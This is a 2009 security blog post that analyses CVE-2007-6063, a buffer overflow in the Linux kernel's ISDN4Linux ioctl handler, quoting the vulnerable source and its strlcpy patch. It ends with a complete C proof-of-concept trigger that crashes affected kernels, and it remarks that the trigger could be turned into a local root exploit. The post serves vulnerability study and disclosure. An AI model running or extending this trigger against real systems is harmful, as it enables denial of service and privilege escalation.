xorl %eax, %eax

CVE-2007-6063: ISDN 4 Linux Local Buffer Overflow

leave a comment »

This is another old but interesting vulnerability. It was reported on November of 2007 by AD-Lab as you can see here. This bug affects kernel releases up to 2.6.23 and you’ll see in a minute that is an extremely straightforward vulnerability. It is not considered critical since it is included on the Linux kernel but it is not enabled unless an appropriate ISDN device is present. The vulnerability is part of I4L (ISDN 4 Linux) driver which can be found under drivers/isdn/i4l/ directory of the Linux kernel source code tree. This bug is located at the IOCTL handler of the driver and that makes it really simple to exploit. Let’s have a quick look… The next code is taken from Linux kernel 2.6.23 release, file drivers/isdn/i4l/isdn_common.c:

1270 static int
1271 isdn_ioctl(struct inode *inode, struct file *file, uint cmd, ulong arg)
1272 {
       ...
1281        union iocpar {
       ...
1286                isdn_net_ioctl_cfg cfg;
1287        } iocpar;
1288        void __user *argp = (void __user *)arg;
       ...
1294 #define cfg   iocpar.cfg

These are the important for us parts. The above structure at line 1286 is defined at include/linux/isdn.h and it is used to store configuration information about an ISDN device including interface name, time-outs, flags etc. The interesting for us member is just this:

113 typedef struct {
114  char name[10];     /* Name of interface  */
     ...
117  char eaz[256];     /* EAZ/MSN            */
     ...
139 } isdn_net_ioctl_cfg;  

In this function (isdn_ioctl()) we can easily find the two IOCTL calls that set and get this configuration structure. Those are IIOCNETGCF and IIOCNETSCF respectively. Let’s examine the latter since this is where the bug is:

1411  case IIOCNETSCF:
1412  /* Set configurable parameters of a network-interface */
1413  if (arg) {
1414          if (copy_from_user(&cfg, argp, sizeof(cfg)))
1415                  return -EFAULT;
1416          return isdn_net_setcfg(&cfg);
1417           } else
1418                  return -EINVAL;

Simple handler, it copies the user argument (argp) to the configuration isdn_net_ioctl_cfg structure using copy_from_user() kernel API function and if it succeeds, it calls isdn_net_setcfg() with this user controlled structure as argument. Let’s move to this function to see how the processing takes place.

2664 isdn_net_setcfg(isdn_net_ioctl_cfg * cfg)
2665 {
2666        isdn_net_dev *p = isdn_net_findif(cfg->name);
        ...
2673        if (p) {
2674                isdn_net_local *lp = p->local;

Here you can see at line 2666 an isdn_net_dev structure is initialized using the interface name from the configuration structure by calling isdn_net_findif() routine. Next, if we have a valid network interface (line 2673) an isdn_net_local strcture get the contents of p->local which as you can see at include/linux/isdn.h is:

385 typedef struct isdn_net_dev_s {
     ...
386  isdn_net_local *local;
     ...
401 } isdn_net_dev;

Now, keep in mind a specific member of the isdn_net_local that is going to be part of the overflow as you are about to see.

286 /* Local interface-data */
287 typedef struct isdn_net_local_s {
    ...
302  char msn[ISDN_MSNLEN]; /* MSNs/EAZs for this interface */
    ...
382 } isdn_net_local;

Where the array size is defined as:

96 #define ISDN_MSNLEN          32

Now, back to isdn_net_setcfg() if we continue, we are going to see a common parsing of some members and update of the existing configuration structure if valid values are included in the new one. After the core parts of the parsing procedure take place, there is something funny:

2804   }
2805   strcpy(lp->msn, cfg->eaz);
2806   lp->pre_device = drvidx;

Exactly! the destination buffer has size of ISDN_MSNLEN (which is 32 bytes) while the source which is user controlled input has maximum size of 256 bytes which may be non NULL terminated (which leads to at least 256 bytes length)! That’s the bug :P I was thinking about posting a PoC about this one and I conclude that since it is an old, not critical and easy to exploit bug I will post a sample trigger code. But before this, here is how this call at line 2805 was patched:

  }
- strcpy(lp->msn, cfg->eaz);
+ strlcpy(lp->msn, cfg->eaz, sizeof(lp->msn));
  lp->pre_device = drvidx;

Which is an obvious solution. Now, here is the trigger PoC:

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include<linux/isdn.h>

#define DEVFILE  "/dev/isdnctrl"

int
main(int argc, char *argv[])
{
     int fd;
     char *dev;
     isdn_net_ioctl_cfg *evil;

     if (argv[1])
         dev = (char *)argv[1];
     else
         dev = DEVFILE;

     if ((fd = open(dev, O_WRONLY)) == -1) {
        printf("[-] Unable to open device '%s'\n", dev);
        _exit(-1); }
     printf("[+] Opened %s\n", dev);

    if (ioctl(fd, IIOCNETGCF, evil)) {
        printf("[-] Failed at retrieving device settings\n");
        _exit(-1); }

     memset(evil->eaz, 'X', sizeof(evil->eaz));
     printf("[+] evil->eaz filled with magic.\n"
              "[+] Sending the evil request\n");

     if (ioctl(fd, IIOCNETSCF, evil)) {
       printf("[-] Failed at sending the evil settings\n");
        _exit(-1); }

     return close(fd);
}

That’s of course a DoS but if you fill evil->eaz with an *evil* payload you can easily transform this into a local root exploit for Linux systems with kernel up to 2.6.23 that have ISDN driver enabled. I know that this is a lame bug but I posted a PoC to make it more interesting so.. be kind :P

Written by xorl

January 20, 2009 at 13:57

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s